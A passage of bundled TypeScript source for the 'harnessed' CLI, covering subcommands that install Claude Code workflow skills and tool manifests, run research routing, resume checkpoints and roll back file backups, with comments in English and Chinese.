pinned\n }\n }\n\n const result = await runInstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n const version =\n v.manifest.spec.install.method === 'npm-cli' && 'npm_version' in v.manifest.spec.install\n ? v.manifest.spec.install.npm_version\n : ''\n console.log(`installed ${v.manifest.metadata.name}${version ? `@${version}` : ''}`)\n process.exit(0)\n }\n console.error(formatError(result.error))\n process.exit(1)\n })\n}\n","// v1.0.1 T1.1 — Single SoT for package root resolution.\n//\n// IMPL NOTE: Resolves package root via import.meta.url → up two levels from\n// dist/cli.mjs → package root. Bundler-safe: tsup ESM build preserves\n// import.meta.url. Fixes global-install consumers using process.cwd() which\n// points to the user's project dir, not the harnessed package dir.\n\nimport { dirname, resolve } from 'node:path'\nimport { fileURLToPath } from 'node:url'\n\n/**\n * Returns the absolute path to the harnessed package root directory.\n * Works for both global installs (npm install -g) and local dev (ts-node / vitest).\n */\nexport function getPackageRoot(): string {\n // import.meta.url → file:///.../dist/cli.mjs (or src/cli/lib/packagePath.ts in test)\n // Go up: dist/cli.mjs → dist/ → package root (2 levels)\n // src/cli/lib/packagePath.ts → src/cli/lib/ → src/cli/ → src/ → package root (3 levels in source)\n // We detect which context we're in by checking for the 'dist' segment.\n const thisFile = fileURLToPath(import.meta.url)\n const thisDir = dirname(thisFile)\n // In dist: thisDir = <root>/dist → up 1\n // In src: thisDir = <root>/src/cli/lib → up 3\n if (thisDir.endsWith('dist') || thisDir.replace(/\\\\/g, '/').endsWith('/dist')) {\n return resolve(thisDir, '..')\n }\n // Source / test context — go up 3\n return resolve(thisDir, '..', '..', '..')\n}\n","// Phase 1.3 cli subcommand `install-base` per ADR 0007 + R1 D-9 + D-11.\n//\n// IMPL NOTE (D-9 独立子命令 / D-11 三态 / Rule 1 H1 gate):\n// - D-9: 不在 `install <name>` 上加 `--base` flag, 避免 H1 gate 冲突. Auto-glob\n// `manifests/{tools,skill-packs}/*.yaml`.\n// - D-11: phase 2.1 placeholder method (cc-plugin-marketplace / git-clone-with-setup\n// / npx-skill-installer / mcp-http-add) 不算 failure 计入 skipped (沿袭\n// INSTALLER-CONTRACT 契约 6 放宽 \"deferred ≠ failure\").\n// exit: 0 if installed > 0 + failed === 0; 1 if failed > 0; 2 if 全 skipped.\n// - H1 gate: --non-interactive 必须配 --apply / --dry-run, 否则 exit 2.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallOpts } from '../installers/lib/types.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\nasync function listBaseManifests(cwd: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(cwd, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(cwd, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerInstallBase(program: Command): void {\n program\n .command('install-base')\n .description(\n 'Install the phase 1.3 base profile (immediate by default — use --dry-run for preview)',\n )\n .option(\n '--apply',\n '(deprecated; kept for backward compat — install-base is immediate by default)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .action(async (raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'install-base')\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n const opts: InstallOpts = {\n apply: !dryRun,\n dryRun,\n system: false,\n nonInteractive: raw.nonInteractive === true,\n fullDiff: false,\n color: 'auto',\n }\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: { name: string; reason: string }[] = []\n const failed: { name: string; reason: string }[] = []\n for (const path of await listBaseManifests(getPackageRoot())) {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n failed.push({ name: path, reason: `read: ${(e as Error).message}` })\n continue\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n failed.push({ name: path, reason: `validate: ${v.errors[0]?.message ?? 'unknown'}` })\n continue\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) {\n skipped.push({ name, reason: `deferred phase 2.1 (${method})` })\n continue\n }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) skipped.push({ name, reason: `aborted: ${r.reason}` })\n else if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled) alreadyInstalled.push(name)\n else if (r.ok) installed.push(name)\n else failed.push({ name, reason: r.error.message })\n }\n console.log(\n `\\n installed: ${installed.length} / already-installed: ${alreadyInstalled.length} / skipped (deferred phase 2.1): ${skipped.length} / failed: ${failed.length}`,\n )\n for (const i of installed) console.log(` installed ${i}`)\n for (const a of alreadyInstalled)\n console.log(` already-installed ${a} — run \\`/mcp\\` in Claude Code to verify connection`)\n for (const s of skipped) console.log(` skipped ${s.name} — ${s.reason}`)\n for (const f of failed) console.error(` failed ${f.name} — ${f.reason}`)\n if (failed.length > 0) process.exit(1)\n if (installed.length === 0 && alreadyInstalled.length === 0) process.exit(2)\n process.exit(0)\n })\n}\n","// Phase 2.3 W3 T3.1 — `harnessed manifest-add` EE-5 5Q merge gate (D-03 BOTH).\n// Sister: execute-task.ts + research.ts; H1 gate. Storage: Path A sibling\n// manifests/<category>/<name>.ee5-answers.json (S2 fix — no provenance schema bump).\nimport { writeFileSync } from 'node:fs'\nimport { stdin, stdout } from 'node:process'\nimport * as readline from 'node:readline/promises'\nimport type { Command } from 'commander'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\nconst QA: readonly { q: string; f: string }[] = [\n { q: '① 是真 reusable surface 还是临时 wrapper?', f: 'q1_reusable_surface' },\n { q: '② 上游名字 fit 项目 shape 吗? 有现有命名冲突吗?', f: 'q2_name_fit' },\n { q: '③ 与已装配组件有 overlap surface 吗?', f: 'q3_overlap' },\n { q: '④ 是 import 概念 (可控) 还是 import 别人产品身份 (高耦合)?', f: 'q4_concept_vs_identity' },\n { q: '⑤ user 不知 upstream 还能理解该装配吗?', f: 'q5_user_understanding' },\n] as const\n\ninterface RawOpts {\n category?: string\n name?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n}\n\nfunction basename(upstream: string): string {\n return (upstream.split('/').pop() ?? upstream).replace(/\\.git$/, '')\n}\n\nexport function registerManifestAdd(program: Command): void {\n program\n .command('manifest-add <upstream>')\n .description(\n 'Add a new upstream adapter (EE-5 5-question merge gate; immediate by default — use --dry-run for preview)',\n )\n .option('--category <cat>', 'manifest category (skill-packs | tools)', 'skill-packs')\n .option('--name <name>', 'short adapter name (defaults to <upstream> basename)')\n .option(\n '--apply',\n '(deprecated; kept for backward compat — manifest-add persists immediately by default)',\n )\n .option('--dry-run', 'preview only — do not write JSON (opt-in for advanced users)')\n .option('--non-interactive', 'CI/scripts — requires --apply or --dry-run; WARN-only dry-run')\n .action(async (upstream: string, raw: RawOpts) => {\n validateNonInteractiveFlags(raw, 'manifest-add <upstream>')\n const name = raw.name ?? basename(upstream)\n const category = raw.category ?? 'skill-packs'\n const outPath = `manifests/${category}/${name}.ee5-answers.json`\n if (raw.nonInteractive) {\n console.warn(\n '[ee-5-gate] WARN: --non-interactive skips 5-question prompt (D-03 dry-run-only). plan-phase hard reject still applies.',\n )\n console.log(`[manifest-add] dry-run preview for upstream: ${upstream} → ${outPath}`)\n process.exit(0)\n }\n const rl = readline.createInterface({ input: stdin, output: stdout })\n const payload: Record<string, string> = {\n upstream,\n created_at: new Date().toISOString(),\n author: process.env.USER ?? process.env.USERNAME ?? 'unknown',\n }\n for (const { q, f } of QA) {\n const a = (await rl.question(`${q}\\n> `)).trim()\n if (!a) {\n console.error('error: EE-5 gate requires non-empty answer')\n rl.close()\n process.exit(1)\n }\n payload[f] = a\n }\n rl.close()\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = raw.dryRun === true\n if (!dryRun) {\n writeFileSync(outPath, `${JSON.stringify(payload, null, 2)}\\n`, 'utf8')\n console.log(`[manifest-add] EE-5 gate passed; wrote ${outPath}`)\n } else {\n console.log(`[manifest-add] EE-5 gate passed (dry-run); would write ${outPath}`)\n console.log(JSON.stringify(payload, null, 2))\n }\n process.exit(0)\n })\n}\n","// Phase 1.4 T5.1 — `harnessed research <prompt>` independent subcommand.\n//\n// IMPL NOTE — D-15 独立子命令 (沿袭 D-9 install-base; 不在 install <name> 上加\n// flag 避免 H1 gate 冲突). KICKOFF C4 + D1.4-9 + Pattern G barrel import.\n// W-2 sister patch (D1.4-4 子决策): install adapter via library call —\n// engine.runRouting → ensureSkillsInstalled (lib/ralphLoop.ts) consumes\n// runInstall() directly when wired through opts.installAdapter (PLAN.md\n// § 4 接口契约 6); we **never** spawn `node ./dist/cli.mjs install` subprocess\n// (overlaps R1 Wave 1 spike + slower + cross-stack debug pain).\n// EngineResult three-state → exit codes:\n// 0 → ok (verbatim COMPLETE round-trip succeeded)\n// 1 → ok:false {phase: arbitrate|install|spawn|verbatim} (typed error)\n// 2 → aborted {reason} (max-iter exceeded / user-aborted)\n// H1 gate (sibling install-base.ts): --non-interactive requires --apply or --dry-run.\n\nimport type { Command } from 'commander'\nimport { runRouting, type TaskContext } from '../routing/index.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n query?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n}\n\nexport function registerResearch(program: Command): void {\n program\n .command('research')\n .description(\n 'Run research workflow (search category sub-routing → spawn → verbatim COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--query <text>', 'research prompt (required)')\n .option(\n '--apply',\n '(deprecated; kept for backward compat — research spawns immediately by default)',\n )\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts) — requires --apply or --dry-run')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .action(async (raw: RawOpts) => {\n // H1 gate (sibling install-base.ts pattern)\n validateNonInteractiveFlags(raw, 'research --query <text>')\n if (!raw.query) {\n console.error('error: --query <text> is required')\n process.exit(2)\n }\n\n const taskCtx: TaskContext = { task: raw.query, task_type: 'search' }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n // Dry-run path: arbitrate-only preview, never spawn (mirrors install --dry-run).\n if (raw.dryRun === true) {\n const preview = await runRouting(taskCtx, {\n skillsRoot: undefined,\n // Stub spawn — dry-run never reaches it; explicit COMPLETE keeps shape happy.\n spawn: async () => 'dry-run preview\\nCOMPLETE',\n maxIterations: 1,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in preview) {\n console.error(`aborted: ${preview.reason}`)\n process.exit(2)\n }\n if ('ok' in preview && preview.ok === false) {\n console.error(`error: ${preview.phase} — ${preview.error.message}`)\n process.exit(1)\n }\n console.log(`[dry-run] matched_rule: ${preview.matchedRule?.id ?? '(fallback supervisor)'}`)\n console.log(`[dry-run] query: ${raw.query}`)\n console.log(\n ' (run without --dry-run to spawn the subagent and emit verbatim COMPLETE round-trip)',\n )\n process.exit(0)\n }\n\n // Immediate-execute path: real spawn requires SDK runtime dep (F40-2 deferred to phase 1.5).\n // Until then, runRouting.defaultSpawn throws a friendly placeholder error.\n const result = await runRouting(taskCtx, {\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n if (result.phase === 'install') {\n console.error(` fix: 'harnessed install <skill> --apply' (see error above)`)\n }\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 3.1 W4 T4.4 — `harnessed resume` 12th CLI subcommand (R7.3 D-03 RELOAD).\n// Sister: src/cli/doctor.ts L136-175 (--json flag + exit code pattern, PATTERNS § 1 #7 85% reuse).\n// Dynamic import of runResume matches doctor.ts L131 lazy-load pattern (CI-friendly + smaller cold-start).\n\nimport type { Command } from 'commander'\n\nexport function registerResume(program: Command): void {\n program\n .command('resume')\n .description(\n 'Reload checkpoint from paused workflow + print resume hint (D-03 — user invokes phase command manually)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n const { runResume } = await import('../checkpoint/resume.js')\n const r = await runResume()\n if (opts.json) {\n console.log(JSON.stringify(r, null, 2))\n process.exit(r.status === 'ok' ? 0 : 1)\n return\n }\n if (r.status === 'no-paused-phase') {\n console.error(`✗ ${r.error}`)\n process.exit(1)\n }\n if (r.status === 'corrupt') {\n console.error(`✗ ${r.error}\\n path: ${r.path}`)\n process.exit(1)\n }\n if (r.cwdWarn) console.error(r.cwdWarn)\n console.log(`phase: ${r.checkpoint.phase}`)\n console.log(`last_task: ${r.checkpoint.last_task}`)\n if (r.checkpoint.key_decisions.length) {\n console.log(`key_decisions: ${r.checkpoint.key_decisions.slice(0, 5).join(', ')}`)\n }\n if (r.checkpoint.canonical_refs.length) {\n console.log(`canonical_refs: ${r.checkpoint.canonical_refs.slice(0, 3).join(', ')}`)\n }\n console.log(r.resumeHint)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `rollback` per ADR 0004 § 3 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3 — CRLF/LF preservation): each backup\n// metadata.json file entry records `eol: 'lf' | 'crlf'` from the original\n// on-disk content (lib/backup.ts detects via Buffer.includes('\\r\\n')). On\n// restore we MUST honor that field — naive `fs.writeFile(buf)` would\n// otherwise round-trip CRLF→LF on Win→Unix migrations or vice versa, mutating\n// the user's original file content. We restore by converting buf to a string\n// then re-emitting with the recorded eol convention.\n//\n// IMPL NOTE (Rule 1 / ENOENT pure-create sentinel): backup() records files\n// that did not yet exist (oldText === '' + ENOENT) as `{ backup: '', sha1: '' }`.\n// On rollback this means \"delete the target file\" rather than \"restore\". We\n// honor that sentinel by calling unlink() instead of writeFile().\n\nimport { createHash } from 'node:crypto'\nimport { readFile, unlink, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupFileEntry {\n target: string\n backup: string\n sha1: string\n eol: 'lf' | 'crlf'\n}\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: BackupFileEntry[]\n}\n\nfunction normalizeEol(buf: Buffer, eol: 'lf' | 'crlf'): Buffer {\n // Convert all line endings to LF first, then to target convention.\n const lf = buf.toString('utf8').replace(/\\r\\n/g, '\\n')\n return Buffer.from(eol === 'crlf' ? lf.replace(/\\n/g, '\\r\\n') : lf, 'utf8')\n}\n\nexport function registerRollback(program: Command): void {\n program\n .command('rollback <timestamp>')\n .description('Restore files from a backup snapshot (preserves original LF/CRLF)')\n .action(async (timestamp: string) => {\n const dir = join(getBackupRoot(), timestamp)\n const metaPath = join(dir, 'metadata.json')\n let meta: BackupMetadata\n try {\n meta = JSON.parse(await readFile(metaPath, 'utf8')) as BackupMetadata\n } catch (err) {\n console.error(\n `error: cannot read ${metaPath}: ${(err as Error).message}\\n` +\n ` fix: run 'harnessed backup list' to see available timestamps`,\n )\n process.exit(1)\n return\n }\n // Reverse iteration so files restored later (higher in dependency chain) come first.\n for (const entry of [...meta.files].reverse()) {\n if (entry.backup === '') {\n // Pure-create sentinel — original file did not exist; rollback = unlink.\n try {\n await unlink(entry.target)\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n console.error(`error: cannot unlink ${entry.target}: ${(err as Error).message}`)\n process.exit(1)\n return\n }\n }\n continue\n }\n const buf = await readFile(entry.backup)\n const sha1 = createHash('sha1').update(buf).digest('hex')\n if (sha1 !== entry.sha1) {\n console.error(\n `error: backup checksum mismatch for ${entry.target} (expected ${entry.sha1.slice(0, 12)}, got ${sha1.slice(0, 12)})`,\n )\n process.exit(1)\n return\n }\n await writeFile(entry.target, normalizeEol(buf, entry.eol))\n }\n console.log(`restored ${meta.files.length} file(s) from ${timestamp}`)\n })\n}\n","// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split for src/cli/setup.ts (CK deferred).\n// Sister Phase 3.4 W1 doctor.ts inline shrink + origin-check.ts sister-share extract pattern.\n// Extracts: (1) Agent Teams warn UX, (2) workflow SKILL.md scan, (3) Step B parallel install.\n//\n// Phase v3.0-3.3 T3.3.W0.12 — nested 2-level scan + v2 deprecation warn:\n// scanWorkflowsWithSkill now returns NestedWorkflow[] (not string[]) so callers\n// can flatten slash-cmd name + know master vs sub-stage. Nested scan logic lives\n// in ./scan-nested.ts (karpathy ≤200L split). Deprecated v2 flat top-level dirs\n// (plan-feature / execute-task / verify-work) emit warn + skip install per D-04.\n\nimport { readFile } from 'node:fs/promises'\nimport { runInstall } from '../../installers/index.js'\nimport type { InstallOpts } from '../../installers/lib/types.js'\nimport { validateManifestFile } from '../../manifest/validate.js'\nimport { checkAgentTeams } from './checkAgentTeams.js'\nimport type { ScanResult } from './scan-nested.js'\nimport { renderDeprecationBlock, scanWorkflowsNested } from './scan-nested.js'\n\nexport type { NestedWorkflow, ScanResult } from './scan-nested.js'\n\n/** Phase 2.1 deferred installer methods — counted as skipped, not failed (D-11). */\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\n/**\n * Phase v2.0-2.3 W1.1: Agent Teams env probe (non-blocking warn).\n * Per Q-AUDIT-5b + R20.11 acceptance e + PLAN-ENG-REVIEW § Section 5 [LOW]:\n * Warn-only if missing — parallelism-gate runtime degrades to subagent fan-out\n * when Agent Teams CC env flag is off (session-scoped tolerance policy).\n */\nexport async function warnIfAgentTeamsMissing(): Promise<void> {\n const r = await checkAgentTeams()\n if (r.status !== 'missing') return\n console.warn('\\n⚠️ Agent Teams 未启用 — parallelism-gate 升级路径不可用')\n console.warn(' 修复: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1')\n console.warn(\n ' 说明: harnessed v3.0 三层栈方法论 parallelism-gate 升级路径需 CC 2.1.133+ Agent Teams enable',\n )\n console.warn(\n ' 不阻塞 setup,后续 parallelism-gate workflow phase 触发时自动降级 subagent fan-out\\n',\n )\n // NOT exit — non-blocking per R20.11 acceptance a\n}\n\n/** v3.0 nested 2-level scan — returns NestedWorkflow[] with deprecation list. */\nexport async function scanWorkflowsWithSkill(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n return scanWorkflowsNested(workflowsDir, entries)\n}\n\n/** Re-export deprecation block renderer for setup.ts console output. */\nexport { renderDeprecationBlock }\n\nexport interface StepBResult {\n installed: string[]\n alreadyInstalled: string[]\n skipped: string[]\n failed: string[]\n elapsedMs: number\n}\n\n/** Step B: parallel install-base auto-glob chain via Promise.allSettled (v1.0.3 T1.1). */\nexport async function runStepBInstall(manifestPaths: string[]): Promise<StepBResult> {\n const opts: InstallOpts = {\n apply: true,\n dryRun: false,\n system: false,\n nonInteractive: true,\n fullDiff: false,\n color: 'auto',\n }\n const start = Date.now()\n const settled = await Promise.allSettled(\n manifestPaths.map(async (path) => {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'failed' as const, name: path, reason: `read: ${(e as Error).message}` }\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n return {\n status: 'failed' as const,\n name: path,\n reason: `validate: ${v.errors[0]?.message ?? 'unknown'}`,\n }\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) return { status: 'skipped' as const, name }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) return { status: 'skipped' as const, name }\n if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled)\n return { status: 'already-installed' as const, name }\n if (r.ok) return { status: 'installed' as const, name }\n return { status: 'failed' as const, name, reason: r.error.message }\n }),\n )\n\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: string[] = []\n const failed: string[] = []\n for (const s of settled) {\n const v =\n s.status === 'fulfilled'\n ? s.value\n : {\n status: 'failed' as const,\n name: '?',\n reason: String((s as PromiseRejectedResult).reason),\n }\n if (v.status === 'installed') installed.push(v.name)\n else if (v.status === 'already-installed') alreadyInstalled.push(v.name)\n else if (v.status === 'skipped') skipped.push(v.name)\n else\n failed.push(`${v.name}: ${(v as { status: 'failed'; name: string; reason: string }).reason}`)\n }\n return { installed, alreadyInstalled, skipped, failed, elapsedMs: Date.now() - start }\n}\n","// Phase v3.0-3.3 T3.3.W0.12 — Nested workflows/<stage>/<sub>/ 2-level scan helper.\n// Split from setup-helpers.ts to keep both files within karpathy ≤200L limit\n// (sister src/routing/lib/fallbackHandlers.ts ≤80L split pattern).\n//\n// Contract per RESEARCH-workflows § Area 4 (verbatim transcription):\n// Path A: flat top-level SKILL.md (research / retro keep; v2 legacy 3 cmd emit\n// deprecation warn + skip install per D-04).\n// Path B: nested 2-level workflows/<stage>/<sub>/SKILL.md\n// - sub === 'auto' → master, slash-cmd flatten to bare `<stage>`\n// - sub !== 'auto' → sub-stage, slash-cmd flatten to `<stage>-<sub>`\n// Skip: disciplines/ + judgments/ (K10 — non-workflow manifest dirs).\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\n\nexport interface NestedWorkflow {\n /** Slash-cmd name (flat) — e.g. \"discuss-strategic\" or \"discuss\" (master). */\n name: string\n /** Source dir relative to workflowsDir — e.g. \"discuss/strategic\" or \"research\". */\n relPath: string\n /** Whether this is a master (nested at <stage>/auto/SKILL.md). */\n isMaster: boolean\n}\n\n/** v2 → v3 deprecation map per D-04 (alias map). Flat top-level dirs that should\n * be skipped install but emit warn; CHANGELOG [3.0.0] documents migration. */\nexport const FLAT_LEGACY_DEPRECATED = new Set(['plan-feature', 'execute-task', 'verify-work'])\n\n/** Flat top-level dirs that remain valid as standalone v3 workflows (KEEP).\n * v3.1.0 — `auto` added as 5th master (super-master, top-level standalone layout per\n * sister research/retro pattern; 4 stage-master discuss/plan/task/verify nested per\n * Path B). `auto` slash-cmd → /auto bare per D-02 ADR 0030 namespace policy LOCK. */\nexport const FLAT_LEGACY_KEEP = new Set(['research', 'retro', 'auto'])\n\n/** v3.1.0 — Top-level standalone dirs that are super-masters (isMaster=true flag\n * for setup.ts `(master)` tag rendering). Currently only `auto`; sister research /\n * retro remain non-master standalone workflows. */\nexport const FLAT_TOP_LEVEL_MASTERS = new Set(['auto'])\n\n/** Non-workflow manifest dirs to skip during nested scan (K10 mitigation). */\nexport const NON_WORKFLOW_DIRS = new Set(['disciplines', 'judgments'])\n\n/** Collected deprecation warn lines — caller emits as a single block at end of scan\n * per RESEARCH-workflows § Area 4 末段 (5L console block + CHANGELOG ref). */\nexport interface ScanResult {\n workflows: NestedWorkflow[]\n deprecated: string[]\n}\n\n/** Nested 2-level scan: top-level + 1 nested depth. */\nexport async function scanWorkflowsNested(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n const workflows: NestedWorkflow[] = []\n const deprecated: string[] = []\n\n for (const entry of entries.sort()) {\n if (NON_WORKFLOW_DIRS.has(entry)) continue // K10 — skip disciplines/ + judgments/\n\n const src = join(workflowsDir, entry)\n let s: { isDirectory: () => boolean }\n try {\n s = await stat(src)\n } catch {\n continue\n }\n if (!s.isDirectory()) continue\n\n // Path A: flat top-level SKILL.md (v2 legacy OR standalone v3 keep).\n let hasFlatSkill = false\n try {\n await stat(join(src, 'SKILL.md'))\n hasFlatSkill = true\n } catch {\n hasFlatSkill = false\n }\n\n if (hasFlatSkill) {\n if (FLAT_LEGACY_DEPRECATED.has(entry)) {\n deprecated.push(entry) // skip install — pure deprecate per D-04\n continue\n }\n if (FLAT_LEGACY_KEEP.has(entry)) {\n workflows.push({ name: entry, relPath: entry, isMaster: FLAT_TOP_LEVEL_MASTERS.has(entry) })\n continue\n }\n // Unknown flat top-level with SKILL.md — install as-is (forward compat).\n workflows.push({ name: entry, relPath: entry, isMaster: false })\n continue\n }\n\n // Path B: nested 2-level — workflows/<stage>/<sub>/SKILL.md\n let subEntries: string[]\n try {\n subEntries = await readdir(src)\n } catch {\n continue\n }\n for (const sub of subEntries.sort()) {\n const subDir = join(src, sub)\n let ss: { isDirectory: () => boolean }\n try {\n ss = await stat(subDir)\n } catch {\n continue\n }\n if (!ss.isDirectory()) continue\n try {\n await stat(join(subDir, 'SKILL.md'))\n } catch {\n continue\n }\n // Flatten to slash-cmd name (per D-02 bare cmd):\n // workflows/discuss/auto/ → /discuss (master)\n // workflows/discuss/strategic/ → /discuss-strategic (sub-stage)\n const name = sub === 'auto' ? entry : `${entry}-${sub}`\n workflows.push({ name, relPath: `${entry}/${sub}`, isMaster: sub === 'auto' })\n }\n }\n\n return { workflows, deprecated }\n}\n\n/** Render deprecation block per RESEARCH-workflows § Area 4 末段 verbatim text. */\nexport function renderDeprecationBlock(deprecated: string[]): string {\n if (deprecated.length === 0) return ''\n return [\n '⚠️ v3.0 BREAKING — v2 legacy slash cmd deprecated:',\n ' /plan-feature → /plan (master) | /plan-phase (sub)',\n ' /execute-task → /task (master) | /task-{clarify,code,test,deliver} (sub)',\n ' /verify-work → /verify (master) | /verify-{progress,paranoid,qa,security,design,simplify,multispec} (sub)',\n ' /research, /retro 不变',\n ' 详见 CHANGELOG [3.0.0]',\n ` skipped install: ${deprecated.sort().join(', ')}`,\n '',\n ].join('\\n')\n}\n","// v1.0.3 T1.1 — Step B serial → parallel Promise.allSettled (~75% speedup; 16 manifests 30-50s → 5-10s).\n// v1.0.2 T1.3+T1.4 — cli subcommand `setup` full one-shot onboarding (UX redesign post-v1.0.1).\n// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split: helpers moved to ./lib/setup-helpers.ts (CK deferred).\n//\n// IMPL NOTE (immediate-install default + --dry-run opt-in, non-expert UX):\n// `harnessed setup` executes immediately by default (non-expert UX; v1.0.2 user feedback).\n// `--dry-run` flag opt-in for advanced preview. Sister install.ts pattern REVERSED.\n// Step A: copies each workflows/<name>/ dir with SKILL.md to ~/.claude/skills/<name>/.\n// Step B: chains install-base auto-glob (installs all manifests/{tools,skill-packs}/*.yaml).\n// Workflows without SKILL.md are skipped in Step A.\n//\n// Exit codes:\n// 0 → at least 1 workflow installed + base manifests processed\n// 1 → fs.cp failed\n// 2 → no SKILL.md workflows found (nothing to install)\n\nimport { cp, readdir } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport {\n renderDeprecationBlock,\n runStepBInstall,\n scanWorkflowsWithSkill,\n warnIfAgentTeamsMissing,\n} from './lib/setup-helpers.js'\n\ninterface RawOpts {\n dryRun?: boolean\n}\n\nasync function listBaseManifests(pkgRoot: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(pkgRoot, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(pkgRoot, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerSetup(program: Command): void {\n program\n .command('setup')\n .description(\n 'One-shot onboarding: install workflow skills + base manifests to ~/.claude/ (immediate by default — use --dry-run for preview)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .action(async (raw: RawOpts) => {\n const dryRun = raw.dryRun === true\n const pkgRoot = getPackageRoot()\n const workflowsDir = resolve(pkgRoot, 'workflows')\n const skillsBase = resolve(homedir(), '.claude', 'skills')\n\n // Agent Teams env probe (non-blocking warn) — sister R20.11 acceptance e.\n await warnIfAgentTeamsMissing()\n\n // ── Step A: workflow SKILL.md scan ──────────────────────────────────────\n let entries: string[]\n try {\n entries = await readdir(workflowsDir)\n } catch {\n console.error(`error: workflows directory not found at ${workflowsDir}`)\n process.exit(1)\n }\n\n const { workflows: toInstall, deprecated } = await scanWorkflowsWithSkill(\n workflowsDir,\n entries,\n )\n\n // Emit v2 → v3 deprecation block (Area 4 末段) BEFORE install summary.\n const depBlock = renderDeprecationBlock(deprecated)\n if (depBlock) console.log(depBlock)\n\n if (toInstall.length === 0) {\n console.log('setup: no workflow directories with SKILL.md found — nothing to install')\n process.exit(2)\n }\n\n if (dryRun) {\n console.log(\n `[dry-run] setup would install ${toInstall.length} workflow(s) to ${skillsBase}:`,\n )\n for (const wf of toInstall) {\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` ${wf.name} → ${join(skillsBase, wf.name)}${masterTag}`)\n }\n console.log(` run without --dry-run to execute`)\n process.exit(0)\n }\n\n let skillsInstalled = 0\n for (const wf of toInstall) {\n const src = join(workflowsDir, wf.relPath)\n const dst = join(skillsBase, wf.name)\n try {\n await cp(src, dst, { recursive: true, force: true })\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` [A] installed ${wf.name} → ${dst}${masterTag}`)\n skillsInstalled++\n } catch 